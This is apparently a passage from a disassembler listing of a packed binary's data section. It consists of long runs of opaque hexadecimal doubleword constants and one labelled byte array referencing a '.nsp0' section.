		dd 660A1B1Fh, 0BD158D51h, 0B911043Fh, 0C5042F04h, 91E4956Ah
		dd 1C99237Ah, 74387FE0h, 327591D8h, 50B62D1Bh, 3A67931Eh
		dd 49B89287h, 40741DE3h, 7003D19Fh, 0C6DBB295h,	4B5DE8E1h
		dd 262C3F3Dh, 1D0E21Bh,	5BA7FF0Fh, 71D1AFF5h, 6DDD83B5h
		dd 99DD8C6Dh, 85D5A8B3h, 0C29781F6h, 0DCFD037Ah, 0EE78BBE5h
		dd 35792A8Ah, 0E7CDDD0Eh, 0DD1E6E72h, 0EB7DD31Bh, 0C2BE4BF8h
		dd 0B011C88h, 852D824Fh, 55CC09C5h, 0C3CE323Ah,	277166D1h
		dd 1F37E687h, 0E2AFCC43h, 11870AA8h, 15CCE795h,	5143212Ah
		dd 14F9F418h, 82AB088Ah, 85B10819h, 187AE423h, 0F9FC9D52h
		dd 0BB11FEE1h, 9759804Fh, 6E1D6900h, 0BDBFDD35h, 46935511h
		dd 0AB310B20h, 297769EDh, 0AFB48B3Ch, 199D8549h, 2526D6D1h
		dd 4BC64190h, 9CBAA3FDh, 0B2658D1Ah, 8B2C76FCh,	3CCBF4F7h
		dd 8B0E723Ch, 94C3CFD1h, 996CD95Bh, 0A7C0EB71h,	0DE6099F6h
		dd 7EFC2D75h, 97AA8AAAh, 0B0FC46D3h, 0B8DBB0DCh, 0EA7F9F97h
		dd 6747A690h, 0BC0E632Fh, 52FAB2BEh, 5ECA2035h,	39507607h
		dd 3FF222F7h, 1CB88F7Ch, 0FBACE05Dh, 4006E163h,	4D3C4856h
		dd 0FD4055B5h, 0B74FEB7h, 7C6D537Ch, 0DEC32A35h, 23DC562Dh
		dd 0AB50B96Eh, 4B422BEBh, 4284B2C4h, 2417A3F8h,	0FCE45189h
		dd 0C2734476h, 28E06B99h, 970CE2C1h, 71E5FF4Bh,	76020FB8h
		dd 0D08EAB4Dh, 3A5BF17Ch, 0FCD5F44h, 0F084285h,	0AB7E0C3Ch
		dd 0FA6E7AE9h, 2F8ECBE7h, 5509562Dh, 0BF0EA540h, 0D16603DCh
		dd 274A0604h, 6DFAE339h, 0C0F3537Eh, 45280C79h,	0F91C6BA8h
		dd 21B8E5BEh, 0CDBFBEDAh, 50CB5E28h, 368199D6h,	13B28DB0h
		dd 0E10D2181h, 76062A74h, 0A831D13Eh, 13AD717h,	2D3AB0EBh
		dd 0DA93F691h, 0C428EA0h, 0B885A6C5h, 594FEh, 0E3C58552h
		dd 3B7D0B9Dh, 0F8AE5A58h, 19DF4C48h, 50864855h,	82675D8Ah
		dd 447CCCF5h, 7E1CDDA4h, 3763266Eh, 32049DA8h, 428A7439h
		dd 0DF166354h, 445F7CD1h, 23444F40h, 0C2EAE2AFh, 7E380FA2h
		dd 197CAA9Fh, 0CA324F99h, 14C0ED2Eh, 0B30E1A8Eh, 7BFB8322h
		dd 0E5FD5172h, 2CD6505h, 64C28C52h, 6E2F1B60h, 515EED7Fh
		dd 0C944C517h, 0DC246CF7h, 28BDA937h, 9E16BC40h, 5DEF4D2Ah
		dd 0DA85E97Fh, 668ECF1Ah, 5E262ECEh, 9A449CBAh,	56CCAFDDh
		dd 1E5F126Eh, 0C62DC1D5h, 7683C4F2h, 0AD0871E0h, 763BC050h
		dd 0CA8B641Fh, 0A6E026CBh, 77527502h, 0A9C24991h, 8501235h
		dd 4A311F71h, 0FB17B454h, 0D9B7053Fh, 0C849BE17h, 0E593DC50h
		dd 87771DB8h, 85E696CEh, 70097291h, 0BB8B595Ch,	907F2BA0h
		dd 0BF5B3FA7h, 19D7C725h, 0A45A38BDh, 0B6D5E644h, 0C878EBB1h
		dd 0D0AABDCEh, 8FDD1167h, 0F1D94870h, 8837A595h, 259E110Ah
		dd 1C652E82h, 9258C84Dh, 988F23D5h, 63B37B6Ch, 0B98F6A1Fh
		dd 1058B8DCh, 30624B55h, 824E06DEh, 71D64690h, 97D35B4Bh
		dd 7CF2E60Ah, 0BA3E1655h, 37C68AFEh, 0B4BBF5B9h, 89B212A3h
		dd 82B19416h, 0D2F336EFh, 0EDF54001h, 29AD6C99h, 31919735h
		dd 59E3451h, 0AD3D5A34h, 0AB0F49FFh, 1C8408E3h,	78C9CBE2h
		dd 5E33A0FAh, 36102B62h, 749B146h, 82ED15EEh, 0D337200Eh
		dd 0E2FA586Fh, 0D38C5468h, 13D84849h, 0AC930F6h, 2312C88Bh
		dd 0D4EC32Ah, 1E6D61DAh, 29AB2DFFh, 0E12CFE6Ch,	1F84F758h
		dd 4F42DFEBh, 2769535Dh, 9CE14D00h, 0D2619E1Fh,	111F3E0Fh
		dd 31D63273h, 0B0993652h, 81A44E46h, 0AB1CB4B1h, 7F850C5Fh
		dd 0CDDC1A54h, 2A0A3D30h, 89E6DD92h, 7B71D5C4h,	645AFF33h
		dd 0BE40912Bh, 31C16449h, 7C29C8E8h, 12240C90h,	0FBFCC655h
		dd 5E29ECF3h, 6EBE1E7Eh, 23D5AF44h, 9BF06154h, 0B938ED9Eh
		dd 269BD60Bh, 1CDB51E4h, 0C420CBF3h, 96A06B11h,	0B3A69248h
		dd 0A8973D7Bh, 0FC25E23Dh, 92365DC4h, 8C9135AEh, 1404A1E9h
		dd 0E6B25D7Ch, 7BE6C84Fh, 0BDC56EBEh, 991C9E96h, 13ADE250h
		dd 1AD4144Ch, 0D16C95C5h, 0F61BF6D4h, 0B8C0C32Bh, 98EFE728h
		dd 0B107A849h, 0F02FF105h, 0E3A9A435h, 9AFAA840h, 9045CF1Dh
		dd 35C103FFh, 7FC7FE56h, 0C32844D6h, 13608613h,	0D2234658h
		dd 0ED9EBB45h, 0C52A46CBh, 0D0D3CCEBh, 0A0984F3Fh, 0CC2D3F93h
		dd 5E586C9Bh, 0B43CA3F3h, 0B532733h, 30838E30h,	0D0A20B05h
		dd 0B0CDD00Ah, 9E4D1D3Ah, 0FFAACDB0h, 0E301977Ah, 0F7DAA21Eh
		dd 31440EB8h, 0B233B69Fh, 5580AA9Bh, 423A6484h,	782BD8A4h
		dd 2F646DFh, 0BE834DC9h, 0A35FEE0Fh, 0C2E7FAC4h, 123E1872h
		dd 3F2EA6BEh, 4894026Fh, 0BC1B6B3Bh, 299C552Ch,	0CA5CE11Ah
		dd 4A2180A1h, 0A0DD0CB3h, 51444DB8h, 0E308F5EAh, 0E4080FE6h
		dd 99ABAC7Fh, 0EBE70DB2h, 61FE8882h, 3C476AE6h,	0C484B46Bh
		dd 30F91571h, 60E4D06Bh, 0D58F6680h, 9FAAA4A0h,	3FDBC804h
		dd 0D5CF6703h, 1FECC7BCh, 1E260089h, 21B2C1B2h,	59D63DD1h
		dd 4F77E008h, 1DC54E74h, 0B2630F3Ch, 2A431083h,	0E8F3228Dh
		dd 0DAF21C39h, 0CABD7F66h, 4AEA4968h, 92D74003h, 0BECD51DDh
		dd 61BB1BA2h, 99915A67h, 0B78D8C11h, 6E47C5E2h,	8F6F252Fh
		dd 3280C6CCh, 21161062h, 3C921880h, 8477F8AAh, 0AB5BDD4Fh
		dd 0D2487876h, 3D5BA932h, 84E6D587h, 76954E0Ah,	0B78EFF9Ah
		dd 805B53FDh, 7B133C13h, 854A25CBh, 0AF91211Ah,	85C6B02Fh
		dd 4B1F96Ah, 45772952h,	0BE778853h, 50181908h, 96B2EAB3h
		dd 5CC1A33Dh, 8D72BA8Ah, 0C6584BDAh, 0F7E07BC4h, 11C61F76h
		dd 0CB33068Ch, 0F7F68312h, 27DBF207h, 95D1CB26h, 0CA372717h
		dd 0C806022Bh, 0DDBCD27Bh, 5FC28822h, 7D34A669h, 3FB410FEh
		dd 2FC0EF4Dh, 2C26F208h, 75BC85E8h, 0BACE1B74h,	8E8FAE46h
		dd 0B1A8940Ch, 2567AF2h, 92F9D90Dh, 0A878615Dh,	7DC0486Eh
		dd 2E27705Ah, 5B916639h, 428CD6A9h, 57648EEEh, 14828EC2h
		dd 12764F67h, 66E9BD52h, 0D760705Bh, 8A8A2DB4h,	7CA578CBh
		dd 94AF66B7h, 3D398C76h, 3F9DAF94h, 0E2D9865Fh,	3CB7DC02h
		dd 0F8922C2h, 5F9AA06Ch
		dd 3913B382h, 0A57EA459h, 0F8B293C7h, 82B557Ch,	0F4B6477Eh
		dd 0EB009DCh, 0F0C24C0Dh, 0DB46DBF0h, 0F10EFAD8h, 3FE64BAFh
		dd 4111339Ah, 80B92A8Bh, 800DA5A9h, 0C225F28Fh,	0A8A0107Eh
		dd 4BF94A1Bh, 882E4A28h, 0C8C672E9h, 50C03AFCh,	0CCFE5E6Eh
		dd 0ACCB18Fh, 43322CA2h, 286605BFh, 71D9F3A1h, 40816979h
		dd 66DBEA2Bh, 5DE3CE0h,	52942E40h, 0FF115ACh, 0EE4A8117h
		dd 0D74B01D8h, 6E6CC3Ah, 0FC6AC0E3h, 7ACFD218h,	0CAE34CA5h
		dd 1F6423CDh, 0E79EA527h, 1C080BD5h, 0C43B1A4h,	28DF75BBh
		dd 1EB6C89Fh, 0E2C41253h, 851402ECh, 3E71874h, 440CD62Dh
		dd 0C5703854h, 0CC250236h, 72E78828h, 8A97189h,	560D188Eh
		dd 5D8E464Eh, 7EA65C20h, 75D54D1Ch, 605C0973h, 0EF18AA92h
		dd 0F18B0DF9h, 3E273119h, 0A60BF3E1h, 0F33BB5EFh, 29F7B91Bh
		dd 424A9352h, 0F51AD079h, 6A29AD9Dh, 300397DFh,	5A9CBBA7h
		dd 0EDA602E6h, 155C1227h, 0A61D60A4h, 84542930h, 6E86849Ah
		dd 922D289Fh, 6B7A1083h, 17181638h, 6B83D76h, 0CD03E396h
		dd 0D36010DAh, 0CD9F9206h, 0D9FB8FBEh, 39548B37h, 2B57644Bh
		dd 0E27A2FD7h, 18145FADh, 3D97401Fh, 48419EF1h,	0A5838152h
		dd 0DCA4ACEEh, 0B5592F10h, 4F855745h, 0ABAC8600h, 8DC39383h
		dd 0FE5B224Ah, 55010394h, 0E8949D37h, 0B4D1A440h, 2A7D3E7Ch
		dd 0D6906B59h, 4FAACC9h, 531FA8F3h, 0FAF3B4B3h,	0BFEC8688h
		dd 9955A78Eh, 8BB1C128h, 0CE1C99CCh, 0DB9FCAEBh, 264052AEh
		dd 658F6D8Bh, 571A557Bh, 734072CCh, 2738CD7Bh, 57669A44h
		dd 8C50C019h, 0C1BF11F3h, 592D6E23h, 3D5F24D6h,	0C4568E34h
		dd 684098Eh, 0A19D8728h, 5B3FA5BFh, 0E7753559h,	0B14644E7h
		dd 501154C4h, 2DF4DD45h, 926CF457h, 6C034CCDh, 0AAF0536Bh
		dd 7D23032Dh, 548F420Bh
		db 3Dh
byte_515545	db 61h,	4Dh, 3Dh	; DATA XREF: .nsp0:00451F5Co
		dd 10A00E6Ch, 0D2EA9948h, 4A939011h, 307840F9h,	5B4532E8h
		dd 702F1EA1h, 3E8AD9CEh, 2DF1B0A5h, 377B9A93h, 66D974C0h
		dd 6D5A766Bh, 7D4FC0DCh, 9304E323h, 0D303550Ch,	8FCB60A1h
		dd 3A10C370h, 585B5A35h, 9C8056A4h, 0CC55B32Dh,	0BE40FFB5h
		dd 6AAC95B9h, 0BE19CD3Bh, 151BB919h, 4F79CD09h,	0C0A7AD9Ah
		dd 9668E132h, 1FC06E2Ah, 47D4CE43h, 25C5DF6Dh, 1897DD2Bh
		dd 0AD33DB13h, 70A953F3h, 955846FEh, 0D44081BFh, 10D32F30h
		dd 5AFC0660h, 0A4F3E0B1h, 33DB327Ah, 2355F4F8h,	6544AF9Bh
		dd 0B461B389h, 0A3455698h, 3204B4Ah, 2E7C22EDh,	0F1FB7152h
		dd 62E31D5Eh, 54019313h, 0D4DC827Ah, 5B2ED3ADh,	519162FCh
		dd 34DF1DD7h, 0DBF1A443h, 0C47082D0h, 4B5287B7h, 0ED0E0D98h
		dd 9100DC8Bh, 0F6B3E78Ch, 3862B738h, 0A43767A7h, 99A36A35h
		dd 8FE2261Fh, 0F457D036h, 84BA592h, 3149451Eh, 4EF0BD82h
		dd 8D59177Fh, 0BAFF0D47h, 0CFD0B651h, 7483D1Ah,	0BBF0988Ch
		dd 0B163EBC7h, 0F4D1593Ah, 0B4F26394h, 1D4EAF5Ah, 48EE760Fh
		dd 0CD97C07Fh, 0B1B998D1h, 881180CCh, 0E0CDD709h, 1DFC2E2Ch
		dd 0FC345D2Eh, 0EBCEDCD8h, 2BF9D66h, 9BB270DBh,	309F00B8h
		dd 5C2833A7h, 0F6E5BC17h, 6F48EB8Bh, 1F274401h,	19122502h
		dd 0EF5BEC4Eh, 7F257CD2h, 0DC6D132Ah, 22685BE8h, 0F94A64D7h
		dd 3B63F66Ah, 0C499EFCFh, 0AD29C37Dh, 0F2ECA66Bh, 0F5955685h
		dd 0DAB84D19h, 5D87484Dh, 715FCBF1h, 1BDD35ABh,	6E509B18h
		dd 0ACBEA349h, 7374BC32h, 9FBFBC19h, 888332F6h,	2D42D7B0h
		dd 0EAE65EF7h, 11DC70CCh, 9070465h, 0CFDABF7Eh,	3EA7DF7h
		dd 32329B67h, 71D2B334h, 94F68AD1h, 2BC1732Ah, 6E9BE024h
		dd 22EED28Bh, 96F61ED0h, 0D91A27D6h, 482DDC10h,	973F52CCh
		dd 0DF28FA5Ch, 446E830Fh, 5F599786h, 0E435F303h, 7305A638h
		dd 2319CFFBh, 69431DAAh, 0E77BB599h, 59E54A9Fh,	85E6064Ah
		dd 24A07CC9h, 701A9CD1h, 0BD07361Ah, 43FCAA0Ah,	9F6537EDh
		dd 0F879E158h, 4E0370DBh, 60D932A0h, 39ADD6F7h,	806A6DE5h
		dd 862B80E5h, 24E5347Bh, 0FB166419h, 1554C76Bh,	0E69E0DB7h
		dd 0FD5300CFh, 0B72D0A1Bh, 58B6FF68h, 56539D14h, 9ED6394Ah
		dd 0A1CB50F7h, 39B29506h, 0BF7F67D9h, 0B1D53F58h, 0D1037EFh
		dd 0AC97081Ch, 727B1189h, 3FC5F44Dh, 0BCF5DBE7h, 5EDDC3F8h
		dd 0B87ADA75h, 0C00489B2h, 0CD724414h, 64F63E79h, 753F9B9h
		dd 0EFBCFA4Dh, 9C421A06h, 0B9A39026h, 12E27F47h, 0E3A91022h
		dd 9500B5B5h, 3E967E8h,	782B8F6Bh, 5583224h, 4407F843h
		dd 54BB4C26h, 0B738BFE7h, 5FD07DFAh, 2E310238h,	43F2165Ah
		dd 0A0389DF5h, 8F777180h, 7D36E63h, 71FE0622h, 0B853F8CAh
		dd 73D2838Eh, 535AB206h, 2CCD2A0Eh, 676662B2h, 42BC5E11h
		dd 2D9C9C11h, 30A10E0Bh, 66128D70h, 30A078FCh, 146C9BE7h
		dd 78D0D787h, 2226A34Bh, 17677E4Ah, 0BDB176CCh,	93B3D76Dh
		dd 0ADB024DDh, 0C36A8674h, 0EC70FD37h, 685A7892h, 3B69F4DCh
		dd 58A7E1D6h, 0A59BC33Bh, 7E2010Ah, 8C5B9AA8h, 0DC23C04h
		dd 8B8A8C26h, 11401DCDh, 90294FE6h, 2331AD23h, 0A0B4F39Dh
		dd 0A4EBF3AFh, 0B1774EA0h, 52395F36h, 5EBDCA0Ch, 0E9C53E41h
		dd 0B6A5B3D8h, 0CD5AA705h, 0DEE79DDBh, 9FCA6A1Dh, 0CE106C54h
		dd 0ED3F2BBAh, 6E394757h, 0EC4F806Ah, 0C5922095h, 20F23E86h
		dd 0E95A13C8h, 2DA0DEE8h, 7C7F9943h, 26B860F8h,	542264C0h
		dd 87F4A95Bh, 0CC668EE5h, 0FD33536Eh, 439E57AAh, 0C1797C59h
		dd 0CDC1C44Ch, 0C113E8F2h, 9A1DCBB3h, 22B6C36Fh, 42C842C1h
		dd 0B39D2E6Ah, 0D06C1B17h, 135A9F39h, 7D91B193h, 2FCD3E02h
		dd 0A599BB13h, 3A0E33D5h, 8AA5C836h, 0F33C45DEh, 0D3DD715Bh
		dd 4DB665FDh, 68D46BD6h, 79F9F2DAh, 808DF60Fh, 4875997Dh
		dd 0A031D530h, 0C2B6DE0Dh, 879E1058h, 75D7CF7Ah, 38C5B98Dh
		dd 1DF1341Ah, 0C7C142D2h, 83517221h, 85BA850Fh,	0B29677B8h
		dd 0D449099Ch, 2D53D8DAh, 8B2621ACh, 399ABA87h,	1AA24A6Bh
		dd 0F17B3D55h, 9FCEFD16h, 0A16537B8h, 812A8D80h, 0BE483244h
		dd 52CB0F7Ah, 0CD633587h, 1526DB5Bh, 14F0E7FEh,	9A8CE651h
		dd 0BAE49B16h, 0C1187AEAh, 775644A2h, 0E439D0D2h, 21CC0DDBh
		dd 4305F786h, 6C59FC69h, 0BF686D08h, 0ABD04EBFh, 0A921FF8Fh
		dd 6B35EAEDh, 0B9128F84h, 4B39B8E3h, 0BEEDD68Fh, 0C3C76EB6h
		dd 332C2C4Ch, 81D10AC4h, 0E0E76059h, 7CD72649h,	0C957A426h
		dd 0C11BFC4Eh, 8F5215F0h, 0A9B4C949h, 6966DA4Ch, 0FD0F0AE3h
		dd 5FC3C5F2h, 0F500E63Eh, 4D7A0D2Bh, 9D9BA0C3h,	56C9D6B3h
		dd 0AAA10BE5h, 16E93AB3h, 0F7435C54h, 7311C0FDh, 0DE588146h
		dd 6936C1E6h, 8E9D043h,	0ABB3FAB1h, 33F33501h, 8B1152FEh
		dd 676E5578h, 35AA3818h, 2E55BF03h, 0AEBBD615h,	7F9579B2h
		dd 0CFE64B78h, 23D7D888h, 0F8BFA979h, 0A0CCDC1Bh, 0E429936Eh
		dd 0F7A9B9F6h, 86C23446h, 8881B81Eh, 897DCA4Fh,	0FD680BB5h
		dd 7BB96DCFh, 791E647Dh, 94CF33Bh, 79216573h, 0DFE89633h
		dd 991F360h, 252D9285h,	4BC5FC18h, 363A06Ah, 0EBAE55F1h
		dd 8074F5D7h, 6B467170h, 0D6B01F2h, 7DC91CAh, 43D4D357h
		dd 0E20A0E5Ch, 9A87D697h, 24DCDD5Bh, 57F64F3Ch,	0BF90087Fh
		dd 0C8974666h, 3FABF94Fh, 0CDF9382Dh, 0D17EF640h, 8BFC1588h
		dd 6F5C7033h, 30A7F001h, 0D90BA81Dh, 0D56DA783h, 4AB35F1Ch
		dd 9F2EC77Dh, 3FAF4DFEh, 4499D19Ah, 47D2B57Eh, 0C1B3790Ch
		dd 0CFD28D78h, 5B97E3AFh, 0EC20127h, 99700BC0h,	8459718Fh
		dd 0FBC128F5h, 7B39AF3Eh, 0E111C9C1h, 0F4701A60h, 1A6A04CDh
		dd 1306AB91h, 0BDCC29BCh, 980DE4F7h, 95863BA3h,	0ED4739A4h
		dd 0ED6F308Ch, 7C76DC3h, 975D7DC8h, 1ABDAAB7h, 0D8089F1h
		dd 1222D1EEh, 0E67BBC2Bh, 0EFFA4D99h, 1927269Bh, 0F827DDE3h
		dd 0A7370E3Ah, 8198440Fh, 9CD74C4Fh, 736737A3h,	95EAD6E9h
		dd 7F6BA680h, 0F69A4E5Eh, 0B6C16964h, 0F08A5D70h, 76F2090Bh
		dd 387DE786h, 0F5BE0EBBh, 577EEFABh, 0B9D98A53h, 5A2D5B80h
		dd 0E98CCA8Ch, 0CB7E3565h, 0E54716DDh, 0DA654569h, 98F5BD0Eh
		dd 0F6533EF8h, 0D6946E76h, 63DF09E2h, 0B57FCF92h, 906382ABh
		dd 2AB4701Fh, 2FD9E676h, 0E08C4E6h, 734BB4EAh, 267DD606h
		dd 23200C27h, 9CD77F85h, 539C5E0Ch, 93DFD21Dh, 0DC3B8A10h
		dd 773D090Fh, 75E5F761h, 855060A7h, 50B4C9A4h, 0A64CC5D8h
		dd 0F0369FBFh, 17B05B1Dh, 0CEA0A87h, 9494930h, 0C39A2E6Bh
		dd 0A514F156h, 55CF4EAAh, 2FA2B05h, 7D8ADB23h, 2B31DB40h
		dd 7B884C03h, 0BD78A7EBh, 0B196FC00h, 73E1A01Bh, 0B99C267Dh
		dd 74B79FB3h, 3678714Fh, 0CCF5EC7h, 0A2311831h,	58A59058h
		dd 0DDD7C910h, 766CF4CEh, 3370EBC8h, 0BDFEFE75h, 0BF90123Bh
		dd 3AEFBBD1h, 0CCFDA5D5h, 6BB11270h, 0DE836B37h, 0AEE4E6EFh
		dd 2E71B1B1h, 0C65C32Ah, 0C00CF429h, 0A799B6DBh, 94B48DF8h
		dd 0C0F9E51Ch, 281C2CAFh, 0CDA3F196h, 3D212292h, 64D118F6h
		dd 0EF1E642h, 73EE7E4Eh, 229058B4h, 2D7011CBh, 0D8BC0BC5h
		dd 0E84AEF0Ah, 0C3471EB4h, 0BCE1B12Ch, 0DA8CB011h, 4AA95EE1h
		dd 2FCA6A0Fh, 68FC280Bh, 5FFF4B64h, 0A31B01ABh,	8B6CF66Eh
		dd 3A1BAE9Eh, 0B1509C02h, 82A831D4h, 4C75159Dh,	0E7B9FA24h
		dd 9A6E4BFBh, 0AEEA6A2Dh, 7E453394h, 55514FC4h,	3C79343Dh
		dd 6C0BF8BBh, 430BD852h
		dd 0B4E83250h, 5B677F84h, 96B3EEF8h, 528BA729h,	0EF449DB7h
		dd 0AF69E2E3h, 7ACD675Ch, 0CBDE1F26h, 59735237h, 19E115FDh
		dd 0A43AA0ACh, 22CF80F5h, 0B605274Fh, 60B5E123h, 2ACE4F31h
		dd 0D633C73Fh, 0E75C1FAFh, 136B7CDFh, 285545AFh, 0FDAFC36Ah
		dd 0A4956538h, 0F11E7A69h, 0D78E2FFAh, 87A01278h, 0BFFDC216h
		dd 4053B4A3h, 67EA81D7h, 295F39E1h, 0B60192C0h,	4421A150h
		dd 0DC2B829Eh, 0DFDD2DDEh, 0B1AACF6Dh, 8E69085Fh, 5C3D242Ch
		dd 808C4133h, 6D0CC95Bh, 9C51880Ah, 0CC6B203Fh,	0EC32914h
		dd 78D36284h, 0BFF01E04h, 2A90002Bh, 0F3D53F30h, 0B10AA0FFh
		dd 3A8866D7h, 40F21999h, 2CFA6DA4h, 6C980C12h, 0C6F0EAD1h
		dd 884B5958h, 0FABCC149h, 0F49D9DC3h, 8651CE62h, 4C642FA0h
		dd 0B4B5BD56h, 0FFA10D8Ah, 36E06682h, 3084975Bh, 9EDB0B43h
		dd 9E804B65h, 0C1D69724h, 12967833h, 0AEDABD7Fh, 0AB07AE17h
		dd 4C18CBC2h, 0FEB95343h, 4B4C90D3h, 79DEAEB2h,	2E48AE4Eh
		dd 0ADF6327Eh, 1CDD64C3h, 6CADAAF5h, 487D1C8Ah,	0A989AEE1h
		dd 97239305h, 85D0022Eh, 0B3006342h, 3298225Ch,	2EE128Eh
		dd 9EC2273h, 0EA5BE5E2h, 830D213Ah, 62E69CB9h, 9F6CF150h
		dd 388FCBDAh, 3AB1C985h, 2BB3C32h, 3DC6AFB7h, 7E2F0C1Ah
		dd 4B3B8D6h, 6220FAB8h,	0C23B43FCh, 0FF495D2Dh,	0D41AD5BAh
		dd 29CAF639h, 95872921h, 0E9BFA42Dh, 94EA38E0h,	71E2A3FCh
		dd 7EB6862Dh, 3C1B7F0Ah, 0B47E5687h, 0DD94D5ADh, 86276047h
		dd 0A7A5A3FDh, 0C9ABEF3Bh, 643DA904h, 44A03D8Fh, 0D0957ED3h
		dd 0D7B4EE1Ah, 537D8939h, 10008A53h, 0D107A00h,	0C8A9735Fh
		dd 718E80A4h, 0B96B9214h, 0CA4E0708h, 0AC812C43h, 0D0B77C47h
		dd 2F25984Fh, 49C29FC7h, 8626EB25h, 5F772269h, 0EE1A87A2h
		dd 841DE028h, 4EC1E4C0h, 684D9D4Fh, 5B66773Eh, 69D63452h
		dd 0EE624CD3h, 0F25518B2h, 4A661D70h, 0A3FED426h, 5EE7D3C6h
		dd 0F52FC656h, 810883B9h, 5231152h, 70C6B16Ch, 0B8BAE33Dh
		dd 0CB1B4A88h, 1260670Fh, 8072FF26h, 0A8B06738h, 3576B55Eh
		dd 3F1E6CB2h, 1889CFDFh, 0F178BFE8h, 5E41D678h,	79C68917h
		dd 8D16A961h, 86FAB64Ah, 3A7C0414h, 55EB5D87h, 26B136EBh
		dd 68F40D46h, 9005BCC4h, 0AB454D7Dh, 31BDA0D3h,	76A0FD9h
		dd 149AF0D3h, 6E10160Bh, 14D60452h, 20EC82E6h, 1264FA61h
		dd 70788520h, 0F36CCF55h, 0A8351B26h, 275FE79Dh, 270DAE1Dh
		dd 82410B20h, 0C0D0127Eh, 0E6CB437Fh, 0EAB82A12h, 0FB7C9558h
		dd 38F9FBF4h, 4709E43Bh, 8CA7E72Dh, 0BEC74A59h,	182E7E36h
		dd 35E0D58Ah, 1BD38FE3h, 7F2D21F5h, 0DC047091h,	0A810AF5Fh
		dd 47A513CDh, 0C277B14Eh, 0BC77E9A4h, 3A6D60C7h, 0BFAAD3A3h
		dd 0FEA4EDD9h, 0BED4F9D8h, 0B130A5AFh, 0C3F7F05Bh, 0F709CD5h
		dd 0B8113454h, 0D9651403h, 8C169F08h, 98DEC6B2h, 0BE675F60h
		dd 0F191443Dh, 0D721FC7h, 0B5F5984Ch, 0D5BB6882h, 67B84186h
		dd 0E409D56Fh, 4A534A7Dh, 360CA383h, 15D5B83Dh,	0C6637FE9h
		dd 0A4787955h, 660212B3h, 39D1BA06h, 95D5EAA6h,	418D73D1h
		dd 0DEAF331Fh, 6373717Eh, 1DC88422h, 6F118805h,	67E80E63h
		dd 4D88E63h, 744DB2Ch, 16F49F5Bh, 0EAEDF504h, 0C2DBA6B9h
		dd 6543D436h, 4A5DADF8h, 0B7778B84h, 4E719179h,	76F95694h
		dd 0E66C926Fh, 7287E171h, 9AEFFBBh, 1F325687h, 569B3FC6h
		dd 0C9AFEEBCh, 58462B5Ah, 0B8D37725h, 5FAD676Ch, 90AC97E3h
		dd 0F13398A3h, 0A59EBA23h, 92954E33h, 43404BBCh, 0C72D605h
		dd 2CFE778Ch, 1AB5A7A5h, 30A403BEh, 0CD8DF3D6h,	77B2590Ah
		dd 1D32F96h, 0AF79560h,	0D4A53309h, 0D1F5ACD1h,	0D2CF21EEh
		dd 4DEF09D5h, 0C58C9C1Dh, 0DE9FDBBh, 0EBC0D002h, 69B3FE8Bh
		dd 3DFEA8FDh, 0B74ED302h, 0C0790A1Ah, 8AF90239h, 0EA0C3FE1h
		dd 57D06B62h, 8609892Bh, 0CA8FA5F1h, 36177C45h,	0C4316F01h
		dd 67903DF0h, 77B2903Ah, 0BD791086h, 0AE5BE75Eh, 530B5D84h
		dd 7F7156FBh, 0C0CC1F26h, 9317ED41h, 1CBA9AE0h,	7222FB8Ch
		dd 0A753C4C3h, 3CD3DB66h, 0B0224684h, 2193C9FDh, 0D0296A0h
		dd 0C744B72Bh, 0C3EC6D51h, 5837847Dh, 0F7500CEAh, 39604FB6h
		dd 0F81E2DDBh, 0EA412795h, 2D8E4AEDh, 70DEA5E3h, 49E2F6D2h
		dd 0B22FBBDCh, 2257FB27h, 8473C13Bh, 0F3D7630Fh, 0FA1BAD7Fh
		dd 56587813h, 0A3AA648Eh, 4415BEDEh, 7BB08462h,	0FE034D77h
		dd 62A7AB04h, 0B935DC8Eh, 96A46FB3h, 760DB02Bh,	60C1E879h
		dd 0CCDA44F4h, 38F4EBB9h, 0F7E264B6h, 19C72B7Fh, 787572A8h
		dd 0A6EBAF43h, 44E22A9Eh, 9E2A655Ah, 0A7DAB3D3h, 0FC2718D5h
		dd 60A32F36h, 8F16681Fh, 49A3369Ah, 6572DEAEh, 76E7EAA0h
		dd 658CBA5Bh, 0BF284CBAh, 95A0EA42h, 0C5EBD993h, 782E66F8h
		dd 0C17D4465h, 0A87193A8h, 284A2B14h, 0CA6BD5Fh, 49B9DB1Dh
		dd 84B91A2Bh, 0E257398h, 0B583333h, 0F4F0AB53h,	75D35BA4h
		dd 1A778DB1h, 5F0D32A9h, 0F411E0A3h, 6479EF9Bh,	0A464F3F7h
		dd 0DF23448Ah, 8A74B6DAh, 9DF5E97Eh, 20DD005Eh,	1DFF47DBh
		dd 87D3E1EDh, 0A2CF085Eh, 41BEAE2Ah, 0A83BC00h,	6A2746BDh
		dd 43BEE2DEh, 0FEE62884h, 0A4741F6Bh, 8297217Fh, 613DF409h
		dd 2D14588Bh, 0EB5F827Dh, 495494B7h, 8E894D9Ah,	0DD4A8F3Ch
		dd 0D94D57FBh, 0CDC89C2h, 0C1D52D63h, 879A1FA3h, 0D0F8A4F3h
		dd 8CAD2B03h, 0B7FE2FAAh, 4765B10Ch, 3BA84AD1h,	0C1351D68h
		dd 1292A52h, 10506CE7h,	0A07A4DD6h, 9EF0A5E4h, 0CB21C5B6h
		dd 7FF0C740h, 623B303Dh, 5F993DD2h, 0ABA07096h,	68682465h
		dd 0EC783F4Fh, 0BBD3162Ch, 0DDDD8033h, 39A8E5DBh, 0CF4343DBh
		dd 5DD22C8Bh, 0A67DC6DEh, 0D6420C9h, 266CEBA5h,	455B73E1h
		dd 0B292C53Bh, 22D61985h, 0A777429Bh, 55EB904Ah, 0E5B09C4Bh
		dd 0E79E0138h, 6F32887Bh, 0CD6D50EDh, 0FAB63361h, 542B3D43h
		dd 0D473833Dh, 713E7894h, 81D02742h, 36F8EBEEh,	90E2949Ch
		dd 83CD8A38h, 5B11B61Eh, 0C461FD4h, 5BC8DA34h, 0CA8C5B89h
		dd 10E2B464h, 0F47AD45h, 961D4C1Dh, 9A7EB606h, 0C02A74D0h
		dd 2EA99A4Ah, 0BFE2923h, 77DFC126h, 0B787DE80h,	0F5F331BFh
		dd 3B051C4Eh, 0EEE441F0h, 9859CBF2h, 0ED3BAA35h, 653918E3h
		dd 69D56D3Eh, 0D80E3C2Dh, 1F2244CBh, 90CF808Fh,	87272A0Fh
		dd 3E1B9BB0h, 0AAD90539h, 352BF90Eh, 13109F02h,	0AFE64DE1h
		dd 43CCA70Dh, 0A0BB304Fh, 775CEC0Bh, 0A8E45D6h,	0DED0EE89h
